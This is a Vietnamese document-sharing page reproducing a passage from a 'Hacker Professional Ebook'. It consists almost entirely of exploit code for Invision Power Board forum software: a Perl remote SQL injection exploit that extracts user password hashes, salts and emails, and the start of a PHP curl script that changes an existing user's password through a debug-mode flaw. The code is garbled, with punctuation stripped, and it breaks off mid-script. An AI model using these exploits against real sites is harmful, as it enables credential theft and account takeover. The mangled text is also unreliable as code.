tailieunhanh - Hacker Professional Ebook part 386

Tham khảo tài liệu 'hacker professional ebook part 386', công nghệ thông tin, kỹ thuật lập trình phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả | own_query UNION SELECT converge_pass_salt 1 1 1 FROM . prefix. members_converge WHERE converge_id . id. query own_query server dir if length rep 5 salt rep own_query UNION SELECT converge_email 1 1 1 FROM . prefix. members_converge WHERE converge_id . id. query own_query server dir if length rep 0 email rep print RES id. . hash. . salt. . email. n close RES print Query was successfully perfomed. Results are in txt files r n footer ex STDIN sub footer print G Greets rst ghc r n print L Visit r n sub header print q Invision Power Board . Remote SQL Injecton Exploit Based on r57-Advisory 41 by rst ghc Coded by null FOR EDUCATIONAL PURPOSES ONLY sub info print q i Usage perl server dir where - server - server where IPB installed without http - dir - dir where IPB installed or for no dir perl forum i Stealing info about users format id pass salt email Need MySQL sub query my q server dir @_ res ua- get http . server. dir. s w00t USER_AGENT CLIENT_IP . q if res- is_success rep if res- as_string ipb_var_s s s . rep 3 else if res- as_string FROM . sessions rep 1 return rep 2006-07-18 langtuhaohoa HCE Invision Power Board Debug Remote Password Change Exploit Trich php Debug Mode password change vulnerability Affects Invision Power Borard to by Rapigator This works if Debug Level is set to 3 or Enable SQL Debug Mode is turned on In General Configuration of the forum software. The forum s address up to and including site http localhost forums An existing user s login name name admin The new password 3-32 characters pass 1234 You can use a proxy. proxy 8080 --------------------- site . suffix name urlencode name pass urlencode pass curl curl_init site. act Reg CODE 10 curl_setopt curl CURLOPT_PROXY proxy curl_setopt curl CURLOPT_RETURNTRANSFER 1 curl_setopt curl CURLOPT_TIMEOUT 10 page curl_exec